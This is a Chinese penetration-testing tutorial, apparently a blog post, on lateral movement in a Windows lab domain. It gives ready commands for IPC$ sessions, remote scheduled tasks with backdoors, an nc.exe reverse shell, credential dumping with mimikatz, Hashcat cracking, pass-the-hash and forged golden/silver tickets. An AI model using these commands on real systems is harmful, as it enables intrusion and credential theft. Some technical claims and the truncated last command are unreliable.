内网后渗透攻击过程(实验环境)--3、横向攻击
用途限制声明
本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。
在进行信息收集和权限提升后,我们就可以进行横向移动,那么什么是横向移动呢?横向移动(Lateral Movement) 是指攻击者在突破目标网络的初始边界(如通过钓鱼、漏洞利用等方式获取某台主机的控制权)后,进一步在网络内部扩散,从已控制的节点(主机、设备等)向其他节点(如服务器、工作站、数据库等)渗透的行为。其核心目的是扩大控制范围、获取更高权限或敏感数据,最终达成攻击目标(如窃取核心信息、破坏系统等)。
横向移动的原理
横向移动的实现依赖于攻击者对网络环境的探测、凭证的利用以及对网络协议 / 系统漏洞的滥用,核心流程可分为以下几步:
1. 初始立足点(Initial Foothold)
攻击者首先需要通过外部入侵手段(如钓鱼邮件、Web 漏洞、供应链攻击等)获取网络内某台设备的初步控制权(例如普通用户权限的主机),这是横向移动的前提。
2. 信息收集(Reconnaissance)
为了向其他节点移动,攻击者需要先探测网络内部环境,收集关键信息,包括:
- 存活主机列表(通过 ping 扫描、ARP 扫描等);
- 开放端口与服务(如远程桌面 RDP、文件共享 SMB、SSH 等);
- 本地用户凭证(如密码哈希、明文密码,通过读取系统文件、内存 dump 等方式获取);
- 网络拓扑(如子网划分、域结构等)。
3. 利用技术实现移动
基于收集到的信息,攻击者通过以下常见技术横向渗透到其他节点:
-
凭证复用:利用获取的用户凭证(如密码哈希、Kerberos 票据)登录其他主机,典型技术包括:
- Pass-the-Hash(哈希传递):直接使用用户密码的哈希值认证,无需明文密码;
- Pass-the-Ticket(票据传递):复用 Kerberos 票据(如 TGT、ST)访问域内资源。
-
滥用网络协议 / 服务:利用系统默认开放的服务或协议远程控制其他主机,例如:
- RDP(远程桌面协议):通过获取的账号密码远程登录目标主机;
- SMB/CIFS(文件共享服务):访问共享文件夹并植入恶意文件(如后门);
- PowerShell 远程管理:通过 PowerShell 命令远程执行代码;
- WMI(Windows 管理规范):远程调用系统接口执行命令。
-
漏洞利用:针对网络内主机的未修复漏洞(如 EternalBlue、Log4j 等)直接攻击,获取控制权。
-
恶意软件自动扩散:通过蠕虫类恶意程序(如 Conficker)自动扫描网络内漏洞并传播,实现横向移动。
4. 目标与最终目的
横向移动的最终目标是接近网络中的 “高价值资产”(如数据库服务器、域控制器、核心业务系统等),进而窃取敏感数据、加密勒索(如勒索软件)或破坏系统。同时,攻击者可能会在移动过程中提升权限(如从普通用户到管理员),并植入后门以维持长期控制。
通俗地说,横向移动就是拿到目标计算机的用户明文密码或者NTLM Hash后,可以通过PTH(pass the Hash,凭据传递)的方法,将散列值或明文密码传送到目标机器中进行验证。与目标机器建立连接后,可以使用相关方法在远程windows操作系统中执行命令。
在我以前的文章中,有关于信息收集和权限提升的文章,有兴趣的读者可以去看一下。
内网后渗透攻击过程(实验环境)--1、信息收集-CSDN博客
内网后渗透攻击过程(实验环境)--2、权限提升-CSDN博客
所以在此次实验中我们主要是根据获得的服务器权限进行横向移动,以此为跳板,访问其他域内的主机,扩大资产范围。横向移动主要的点在于抓取hash,然后进行连接,最后登录。所以说抓取 hash 主要用于横向移动,其次可辅助权限提升。所以在我的文章权限提升中并没有详细进行讲述,所以这里就是详细讲述hash抓取。
主要实验工具,VM,windows server 2019,windows 7,windows server 2016,我们主要通过在windows 7进行攻陷作为跳板,进行横向移动。
首先先介绍在命令提示符情况下进行远程连接的管道(IPC)以及相关的命令。
1、IPC
IPC 通常指 Windows 的 IPC$ 共享(IPC 共享)。这是一种系统默认开启的特殊网络共享,无需实际目录,专门用于跨计算机的进程间通信,支持远程主机通过网络建立会话并交换数据。
IPC$ 共享在横向移动中的作用
横向移动(Lateral Movement)是攻击者入侵内网后,从已控制的主机向同一网络内其他主机扩散的过程。IPC$ 共享是攻击者实现横向移动的关键工具之一,核心作用如下:
(1)建立远程会话,验证凭据
IPC$ 共享允许攻击者通过网络与目标主机建立“空会话”或“认证会话”,用于测试目标主机的账号密码(凭据)是否有效。
例如,通过 Windows 命令 net use \\目标IP\ipc$ /user: 用户名 密码 \
,攻击者可尝试用已知的账号密码(或哈希值)与目标主机建立 IPC$ 连接:
- 若连接成功,说明凭据有效,可进一步利用;
- 若失败,可通过暴力破解(枚举账号密码)尝试获取权限。
(2)作为横向移动的 “桥梁”,传递工具与执行命令
一旦通过 IPC$ 建立成功的会话,攻击者可借助该连接完成以下操作,实现横向扩散:
- 文件传输:通过已建立的 IPC$ 会话,用
copy
命令将恶意文件(如后门、木马)从本地复制到目标主机的共享目录(如C$
、Admin$\
等),为后续攻击铺路。 - 远程命令执行:结合其他工具(如
psexec
、schtasks
、wmic
等),通过 IPC$ 会话远程执行命令。例如:- 用
schtasks
创建计划任务,让目标主机在指定时间运行恶意程序; - 用
psexec
直接远程启动进程(依赖 IPC$ 会话的权限)。
- 用
(3)扩大攻击范围,实现内网扩散
攻击者通过 IPC$ 共享可快速横向渗透到同一域或工作组内的其他主机:
- 利用已获取的管理员凭据(或哈希传递攻击),通过 IPC$ 批量连接内网主机;
- 结合漏洞利用(如永恒之蓝),在无凭据情况下通过 IPC$ 相关端口(如 445)植入恶意代码,完成横向移动。
1)建立一个ipc$
命令:net use \\ip地址\ipc$ "密码" /user:administrator
net use
:Windows 系统内置命令,用于创建、删除或配置网络连接(如映射网络驱动器、建立 IPC 会话)。\\IP地址\ipc$
:目标主机的 IPC$ 共享路径。\\IP地址
:目标计算机的 IP 地址(如\\192.168.1.100
);ipc$
:特殊的隐藏共享名(以$
结尾表示隐藏),代表 IPC(Inter-Process Communication)共享。
"密码"
:用于验证的用户密码(需用双引号括起,若密码包含空格或特殊字符)。/user:administrator
:指定用于身份验证的用户名(此处为administrator
)。
比如通过物理机连接虚拟机
成功建立连接,如果成功抓取明文密码和用户或者抓取hash成功破解就能够通过此方法进行登录。
建立连接后,就可以通过自带的工具获取远程主机的信息。如下所示,
2)dir命令
用于列出远程主机C盘中的文件,图中访问失败,原因是C$ 是 Windows 默认的管理员隐藏共享,并没有在虚拟机开启默认共享,所以拒绝访问。
3)tasklist命令
命令:tasklist /S 192.168.237.141 /U 用户名 /P 密码
此命令列出远程主机上运行的进程
4)计划任务
在通过 IPC$ 建立远程会话后,计划任务(Scheduled Tasks) 是实现持久化控制、执行命令的重要手段。这里操作不再展示。
1、at命令
(1)核心功能
at
命令是 Windows 早期的计划任务工具,通过命令行界面创建、删除和查询计划任务。其语法为:
at [\\computername] [[id] [/delete] | /delete [/yes]]
at [\\computername] time [/interactive] [/every:date[,...] | /next:date[,...]] "command"
(2)典型应用场景
-
远程执行命令
在通过 IPC$ 建立连接后,使用at
命令在目标主机上执行命令(如反弹 shell):at \\192.168.1.100 23:00 /interactive "cmd.exe /c whoami > c:\output.txt"
- 参数说明:
\\192.168.1.100
:目标主机 IP;23:00
:执行时间;/interactive
:允许任务与桌面交互(需用户登录);"command"
:要执行的命令。
- 参数说明:
-
持久化后门
创建一个每天定时执行的任务,确保木马或后门程序持续运行:at \\192.168.1.100 /every:M,T,W,Th,F,S,Su 09:00 "c:\windows\temp\backdoor.exe"
2、schtasks命令
(1)核心功能
schtasks
是 Windows NT 6.0(Vista/Server 2008)及以后版本的计划任务管理工具,功能更强大,语法更灵活。其语法为:
schtasks /create /tn TaskName /tr Command /sc Schedule [/st StartTime] [/sd StartDate] [/ed EndDate] [/s Computer [/u Domain\User [/p Password]]]
(2)典型应用场景
-
创建基础计划任务
在目标主机上创建一个每分钟执行一次的命令:schtasks /create /s \\192.168.1.100 /u administrator /p Password123! /tn "SystemUpdate" /tr "cmd.exe /c whoami > c:\output.txt" /sc minute /mo 1
- 参数说明:
/s \\192.168.1.100
:目标主机;/u administrator /p Password123!
:认证凭据;/tn "SystemUpdate"
:任务名称;/tr "command"
:要执行的命令;/sc minute /mo 1
:执行频率(每分钟一次)。
- 参数说明:
-
高权限执行(System 权限)
创建一个以SYSTEM
权限运行的任务(需管理员权限):schtasks /create /s \\192.168.1.100 /u administrator /p Password123! /tn "SystemService" /tr "c:\windows\temp\backdoor.exe" /ru SYSTEM /rp *
/ru SYSTEM
:以SYSTEM
账户运行;/rp *
:使用当前用户的凭据(需管理员权限)。
-
事件触发型任务
创建一个在用户登录时自动执行的任务:schtasks /create /s \\192.168.1.100 /u administrator /p Password123! /tn "LogonMonitor" /tr "c:\windows\temp\monitor.exe" /sc onlogon
-
利用漏洞执行(如永恒之蓝)
在未打补丁的系统上,结合 MS17-010 漏洞,使用schtasks
远程执行命令:# 假设已通过IPC$建立连接 schtasks /create /s \\192.168.1.100 /u administrator /p "" /tn "Exploit" /tr "nc.exe -e cmd.exe 192.168.1.101 4444" /sc once /st 23:59 schtasks /run /s \\192.168.1.100 /tn "Exploit"
维度 | at 命令 | schtasks 命令 |
---|---|---|
支持系统版本 | Windows NT/2000/XP/2003(Win7 及以上逐渐弃用) | 全版本支持(Win7/8/10/Server 全系列) |
计划任务存储位置 | 注册表(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Jobs) | 任务计划程序数据库(C:\Windows\System32\Tasks) |
执行权限 | 需要SE_INTERACTIVE_LOGON_NAME 权限(默认仅 Administrators 组) | 需要SE_CREATE_TOKEN_NAME 权限(默认仅 Administrators 组) |
时间精度 | 最低 1 分钟间隔 | 支持秒级精度(如每 30 秒执行一次) |
远程执行方式 | 通过\\IP地址 参数指定目标主机 | 通过/S 参数指定目标主机 |
命令输出 | 文本格式,信息简略 | XML 格式,信息详细(支持/XML 参数导出) |
持久性 | 任务重启后保留,但需服务Task Scheduler 运行 | 任务重启后保留,依赖Task Scheduler 服务 |
2、Windows系统散列值获取分析与防范
1、LM Hash和NTLM Hash
在权限提升一文中,我们已经讲述了windows操作系统密码哈希存储机制:
Windows 使用 LM Hash 和 NTLM Hash 两种格式存储密码,格式如下
用户名:RID:LM哈希:NTLM哈希
- LM Hash:已过时,易被破解(将密码转为大写、分割为 7 字节处理)。
- NTLM Hash:
NTLM = MD4(UTF-16LE(明文密码))
,安全性较高,但仍可通过彩虹表或暴力破解。
Windows 系统中,本地用户的哈希(NTLM/LM)主要存储在两处:
- SAM 文件(
C:\Windows\System32\config\SAM
):系统用户账户数据库,记录本地用户的哈希,但默认被系统锁定(需SYSTEM
权限才能读取)。 - 内存(lsass 进程):用户登录(本地登录、远程桌面、域登录等)后,密码哈希会暂存于
lsass.exe
(本地安全授权子系统服务)的内存中,用于验证后续操作.
我们先讨论直接在目标主机本地(无需通过网络)获取其存储的用户密码哈希或明文,这称之为单机密码抓取,还有在网络环境下进行密码抓取,两者使用的方法和工具不同。下面是对比,
维度 | 单机环境 | 网络环境(如横向移动) |
---|---|---|
操作范围 | 仅限单台主机本地 | 跨多台主机,通过网络连接扩散攻击 |
权限获取 | 依赖本地提权或直接登录 | 依赖凭据传递(如哈希传递、票据传递) |
工具使用 | mimikatz 、procdump 、SAM 文件解析工具 | psexec 、wmic 、IPC$ 共享等网络工具 |
数据来源 | SAM 文件、lsass 进程内存、本地注册表 | 跨主机的共享资源、域控制器(NTDS.dit)等 |
2、单机密码抓取与防范
首先利用msfconsole对windows 7进行渗透,从而获得其权限
因为想要抓取散列值或者明文密码,需要将权限提升至system.所以接下来就是提权
使用命令getsystem,不出意料失败了,getsystem需要权限是Administrator,才能够提权至System
那就利用系统漏洞进行提权,具体不再展示
以下使用的工具都需要在shell命令下使用,由于msfconsole有点小问题,我就不在msfconsole操作,在本机进行操作了,利用msfconsole将文件上传至目标机在以前的文章有提,大家有兴趣可以看一下
1)getpass工具
工具地址:[分享]windows登陆密码查看工具-编程技术-看雪-安全社区|安全招聘|kanxue.com
此工具比较适合于比较老的系统,比如windwos 7以下的,比较好抓取明文密码,本机是windows 11,不好抓取
试一下在windows 7虚拟机进行操作
2)PwDump工具
运行这个程序获得的是系统中所有账户的NTLM Hash,可以通过彩虹表破解或者使用哈希传递
工具地址:Seabreg/pwdump
运行结果如下,正常情况是可以读取到的。因为我使用的是本机,所以并没有使用System权限进行读取,知道如何使用这个工具即可
3)QuarksPwDump工具
这个工具跟上面也是同样的作用,使用方法比较不同
工具地址:Quarks PwDump各种32位64系统获取HASH – WebShell'S Blog
提取本地系统哈希
.\QuarksPwDump.exe --dump-hash-local
- 功能:从本地系统提取 LM/NTLM 密码哈希值(适用于 Windows XP/2003 及更早系统)。
- 输出:用户名、RID(相对标识符)、LM 哈希、NTLM 哈希。
3. 提取本地系统的明文密码(如果内存中存在)
.\QuarksPwDump.exe --dump-passwords
- 功能:尝试从内存中提取明文密码(如已登录用户的凭据)。
- 注意:仅当密码在内存中未加密存储时有效(如某些服务账户)。
常用参数
参数 | 功能描述 |
---|---|
--dump-hash-local | 从本地系统提取密码哈希(适用于本地渗透测试)。 |
--dump-hash-remote | 从远程系统提取密码哈希(需指定 IP / 主机名和权限)。 |
--dump-passwords | 尝试提取内存中的明文密码。 |
--sam <路径> | 指定 SAM 文件路径(用于离线哈希提取)。 |
--system <路径> | 指定 SYSTEM 文件路径(用于离线哈希提取)。 |
--output <文件名> | 将结果保存到文件。 |
--help | 显示帮助信息。 |
4)通过SAM和System文件抓取密码
1)导出SAM和System文件
使用命令如下
reg save hklm\sam sam.hive
reg save hklm\system system.hive
2)通过mimikatz工具读取SAM和SYSTEM文件获得NTLM Hash(离线/本地/在线)
使用mimikatz读取文件,mimikatz一款开源的Windows安全工具。Mimikatz工具在Windows操作系统中运行时,可以从内存中提取出操作系统的明文密码、哈希、PIN码和Kerberos票据等,并支持哈希传递(pass-the-hash)、票据传递(pass-the-ticket)和构建黄金票据等功能.详细不再介绍,在以前的文章有提及。
工具地址:gentilkiwi/mimikatz: A little tool to play with Windows security
将提取的文件放在工具的目录下,然后先进行提升权限,然后再进行读取,这是在离线情况下进行读取
还有直接进行本地读取。这个就是需要在目标机运行mimikatz,上传mimikatz时实际情况下需要考虑免杀,这里不讨论免杀。
将工具上传至目标机,
使用privilege::debug进行提权,然后再使用token::elevate提权至System
使用命令lsadump::sam进行读取
还有直接通过命令在线读取sam文件
在mimikatz目录下,通过此命令在线读取散列值以及明文密码
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
5)单机密码抓取的防范方法
微软为了防止用户密码在内存中以明文形式泄露。发布补丁KB2871997,并且Windows server 2012以及以上版本默认关闭Wdigest(Wdigest 是 Windows 系统中的一个认证机制,在较旧版本中会将明文密码存储在内存中)。安装补丁并且关闭Wdigest就能够确保无法抓取到明文密码。
3、Hashcat获取密码
现在我们大多数都是抓取到密码都是为散列值,很少能够直接抓取到明文密码,所以我们需要进行破解,依靠彩虹表很难能够全部破解,这里就需要介绍一个工具:Hashcat
Hashcat 是一款强大的密码破解工具,常用于安全评估、密码恢复和渗透测试。它支持多种哈希算法(如 MD5、SHA-1、NTLM 等)和破解模式,通过暴力破解、字典攻击等方式尝试还原明文密码。
一、核心作用
- 密码恢复:从已获取的哈希值还原明文密码。
- 安全评估:测试系统密码强度,发现弱密码。
- 支持超大规模计算:利用 GPU 并行计算提升破解效率(比 CPU 快数十倍)。
- 多平台兼容:支持 Windows、Linux、macOS 等。
二、基本用法
1. 安装
- Windows/Linux/macOS:从官网下载预编译版本。
- Kali Linux:已预装,直接使用:
hashcat
。
2. 基本命令格式
hashcat -m <哈希模式> -a <攻击模式> [选项] <哈希文件> <字典/掩码>
- -m:指定哈希类型(如
0
代表 MD5,1000
代表 NTLM)。 - -a:指定攻击模式(如
0
代表字典攻击,3
代表掩码攻击)。
三、常见哈希模式
模式编号 | 哈希类型 | 示例 |
---|---|---|
0 | MD5 | e10adc3949ba59abbe56e057f20f883e |
100 | SHA1 | 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 |
1000 | NTLM | admin:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c::: |
1400 | SHA2-256 | 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d154 |
22000 | WPA/WPA2 EAPOL | 无线密码哈希 |
四、攻击模式
1. 字典攻击(-a 0)
使用预先准备的密码字典:
hashcat -m 1000 -a 0 hashes.txt passwords.txt
- 示例:破解 NTLM 哈希,使用
passwords.txt
字典。
2. 掩码攻击(-a 3)
使用自定义字符集和规则:
hashcat -m 0 -a 3 hashes.txt ?l?l?l?d?d
- 字符集:
?l
:小写字母(a-z)?u
:大写字母(A-Z)?d
:数字(0-9)?s
:特殊字符(!@#$%)
- 示例:破解 MD5 哈希,密码格式为 3 个小写字母 + 2 个数字。
3. 组合攻击(-a 1)
将两个字典组合:
hashcat -m 100 -a 1 hashes.txt dict1.txt dict2.txt
- 示例:尝试
dict1
中的每个词与dict2
中的词组合。
4. 规则攻击(-r)
使用规则修改字典中的词:
hashcat -m 1000 -a 0 hashes.txt passwords.txt -r rules/best64.rule
- 规则示例:
best64.rule
包含常见变换(如添加数字后缀、大小写替换)。
3、网络情况下的横向移动
在上面我们介绍在单机情况下进行的横向移动的主要点,抓取哈希,获得用户名和密码,都是处于在一个域的情况下,我们就需要用到其他的方法,因为在域环境中用户登录的大多是域账号,也就是说使用的是相同的本地管理员账号和密码。
1)哈希传递
哈希传递是一种网络攻击技术,核心是:攻击者在获取目标系统的用户哈希值后,无需破解出明文密码,直接使用哈希值完成身份认证,实现对目标系统的访问或横向移动。哈希传递(Pass-the-Hash)的核心优势之一:通过网络利用已获取的哈希值,无需在目标机上部署任何工具。
原理核心(以 Windows NTLM 认证为例):
Windows 系统中,用户登录或远程访问(如 SMB、RDP)时,默认使用 NTLM 认证协议,其流程简化如下:
- 客户端向服务器发送用户名。
- 服务器生成一个随机 “挑战值(Challenge)” 并发送给客户端。
- 客户端用自己的 NTLM 哈希对 “挑战值” 进行加密,生成 “响应值(Response)” 并发送给服务器。
- 服务器用存储的该用户 NTLM 哈希对相同 “挑战值” 加密,对比客户端的 “响应值”,一致则认证通过。
哈希传递的关键:
NTLM 认证的核心是 “用哈希加密挑战值”,而非使用明文密码。因此,只要攻击者获取了用户的 NTLM 哈希,就可以模拟客户端生成 “响应值”,直接通过认证,无需知道明文密码。
哈希传递是渗透测试和攻击中横向移动的核心技术,主要作用体现在:
-
绕过明文密码依赖:
很多系统 / 服务(如 Windows 文件共享、远程桌面)的认证依赖哈希而非明文,攻击者无需破解哈希(破解可能耗时极长),直接用哈希 “登录”,大幅提升攻击效率。 -
横向渗透扩展权限:
在内网渗透中,攻击者获取一台主机的本地管理员哈希后,可尝试用该哈希登录其他主机(若目标主机使用相同管理员账号密码),实现跨主机控制。 -
规避密码防御机制:
部分防御措施(如密码复杂度检查、定期修改密码)针对明文密码设计,哈希传递可绕过这些机制直接利用哈希认证。
我们主要是使用mimikatz进行哈希传递,抓取NTLM不再展示,拥有NTLM后即可进行哈希传递,命令如下,这是在攻击机进行操作
sekurlsa::pth /user:用户名 /domain:域名 /ntlm:散列值 /run:"cmd.exe"
出现这种即成功,然后退出mimikatz,在当前会话( Mimikatz 所在的 cmd 窗口)中,尝试访问域内其他主机的共享
# 访问文件共享
dir \\主机名\C$ # 远程执行命令(需管理员权限)
psexec \\dc.hack.com cmd.exe
输出C盘的内容,ok这就是哈希传递。
还有一个工具也能够进行哈希传递,这里介绍不展示,
CrackMapExec(简称 CME)是一款专为 Windows/Active Directory(AD)内网渗透测试 设计的开源工具,被誉为 “域环境渗透的瑞士军刀”。
二、核心功能(多协议渗透支持)
CME 支持 SMB、LDAP、MSSQL、WinRM、SSH、RDP 等协议,覆盖从信息收集到权限提升的全流程:
1. 自动化扫描与枚举
- 探测开放服务(如 SMB 共享、域用户 / 组信息)。
- 枚举域密码策略、登录用户、共享文件夹权限。
# 示例:扫描网段内SMB服务,枚举共享权限 crackmapexec smb 192.168.1.0/24 -u user -p pass --shares
2. 凭证利用与横向移动
- 哈希传递(Pass-the-Hash, PTH):直接使用 NTLM 哈希认证,无需明文密码。
# SMB协议下哈希传递,执行命令 crackmapexec smb 192.168.1.100 -u Administrator -H <NTLM哈希> -x "whoami"
- 密码喷射 / 暴力破解:批量测试弱密码,支持多用户 / 密码字典。
# 对SMB服务进行密码喷射 crackmapexec smb 192.168.1.100 -u users.txt -p passwords.txt
- 远程命令执行:通过 SMB(
smbexec
)、WinRM 等协议执行系统命令,绕过杀软(如 WinRM 流量易被忽略)。
3. 域环境深度渗透
- Dump 凭证:提取域控
ntds.dit
、本地 SAM 哈希(需管理员权限)。 - 票据攻击:结合 Kerberos 票据(如黄金票据)实现权限提升。
- BloodHound 集成:对接 BloodHound 分析域内权限关系,挖掘攻击路径。
2)票据传递
票据传递是基于 Kerberos 协议 的权限提升技术,核心是利用已获取的 有效 Kerberos 票据(如 TGT、TGS)直接认证,无需密码或哈希。与哈希传递相比,它更隐蔽、更强大,且能绕过部分防御(如 LSA 保护)。
票据传递原理
攻击者通过 内存提取 或 伪造 合法用户的 TGT/TGS,将其注入当前会话,使系统误认为自己是该用户,从而获得对应权限。
通过 Mimikatz 实现票据传递
1. 从内存中提取现有票据
在已获得管理员权限的会话中执行:
mimikatz # sekurlsa::tickets /export
- 输出:将在当前目录生成
.kirbi
格式的票据文件(如Administrator@krbtgt-TESTLAB.KIRBI
)。
2. 注入票据到当前会话
mimikatz # kerberos::ptt C:\path\to\Administrator@krbtgt-TESTLAB.KIRBI
- 效果:当前会话立即获得票据所有者的权限,可直接访问域内资源。
3. 验证票据注入成功
klist # 查看当前会话的票据缓存
dir \\WIN7SP1\C$ # 尝试访问域控共享
还有另一个工具也可以进行票据传递,这里只介绍不展示
Kekeo 是一款专注于 Kerberos 协议操作 的轻量级工具,由 Mimikatz 作者 Benjamin Delpy 开发,主要用于生成、修改、注入和利用 Kerberos 票据,是内网渗透中处理 Kerberos 相关攻击的核心工具之一。
Kekeo 的核心能力围绕 Kerberos 票据的 “生成 - 注入 - 利用” 展开,主要用于以下攻击场景:
1. 生成黄金票据(Golden Ticket)
黄金票据是伪造的 TGT(Ticket-Granting Ticket),可直接获取域管理员权限。Kekeo 生成黄金票据的命令比 Mimikatz 更简洁:
# 语法:kerberos::golden /user:<用户名> /domain:<域名> /sid:<域SID> /krbtgt:<krbtgt哈希> /ticket:<输出票据名>
kekeo # kerberos::golden /user:Administrator /domain:testlab.local /sid:S-1-5-21-123456789-1234567890-123456789 /krbtgt:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 /ticket:golden.ticket
- 生成后可通过
kerberos::ptt golden.ticket
注入当前会话,直接访问域内资源。
2. 生成白银票据(Silver Ticket)
白银票据是伪造的 TGS(Ticket-Granting Service),仅针对特定服务(如 SMB、LDAP)生效,隐蔽性更强:
# 语法:kerberos::golden /user:<用户名> /domain:<域名> /sid:<域SID> /rc4:<服务账户哈希> /service:<服务类型> /target:<目标主机> /ticket:<输出票据名>
kekeo # kerberos::golden /user:Administrator /domain:testlab.local /sid:S-1-5-21-... /rc4:31d6cfe0d16ae931b73c59d7e0c089c /service:cifs /target:dc.testlab.local /ticket:silver_smb.ticket
- 示例中
/service:cifs
表示针对 SMB 服务,生成后可直接访问\\dc.testlab.local\C$
。
3. AS-REP Roasting 攻击
针对 不要求预认证 的用户,获取其加密的 AS-REP 响应,离线破解哈希:
# 枚举域内无需预认证的用户
kekeo # kerberos::ask /user:testuser /domain:testlab.local /dc:dc.testlab.local# 导出加密的 AS-REP 响应(用于后续破解)
kekeo # kerberos::ask /user:testuser /domain:testlab.local /dc:dc.testlab.local /outfile:testuser.hash
- 导出的
.hash
文件可通过 Hashcat 或 John the Ripper 破解明文密码。
4. 票据注入与传递(Pass-the-Ticket)
将已生成或获取的票据注入当前会话,实现权限伪造:
# 注入本地票据文件(.kirbi 或 .ticket 格式)
kekeo # kerberos::ptt C:\path\to\golden.ticket# 查看当前会话中的票据
kekeo # kerberos::tickets
工具 | 核心定位 | 优势场景 | 局限性 |
---|---|---|---|
Kekeo | 专注 Kerberos 票据操作 | 轻量、命令简洁,适合批量生成票据 | 功能单一,不支持凭证提取等操作 |
Mimikatz | 全功能凭证与票据工具 | 支持内存提取、哈希传递、票据操作 | 体积较大,检测特征更明显 |
最后,再着重介绍一下黄金票据与白银票据
1. 黄金票据(Golden Ticket)
伪造 域管理员级别的 TGT,可访问域内任何资源,无需与 KDC 通信。
# 获取域信息
mimikatz # lsadump::lsa /inject /name:krbtgt# 生成黄金票据
mimikatz # kerberos::golden /user:Administrator /domain:testlab.local /sid:S-1-5-21-... /krbtgt:31d6cfe0d16ae931b73c59d7e0c089c /ticket:golden.kirbi# 注入票据
mimikatz # kerberos::ptt golden.kirbi
- 核心参数:
/sid
:域 SID(可通过whoami /user
获取)。/krbtgt
:域 Krbtgt 账户的 NTLM 哈希(需先获取)。
2. 白银票据(Silver Ticket)
伪造 特定服务的 TGS,仅能访问指定服务(如 SMB、MSSQL),但无需域控参与,更隐蔽。
# 为SMB服务生成白银票据
mimikatz # kerberos::golden /user:Administrator /domain:testlab.local /sid:S-1-5-21-... /rc4:31d6cfe0d16ae931b73c59d7
ok,横向移动的内容就到这结束了,还有很多没有提及,需要大家自己去学习补充了,内网渗透以及走了一大段路了,接下来就是权限维持,也就是后门。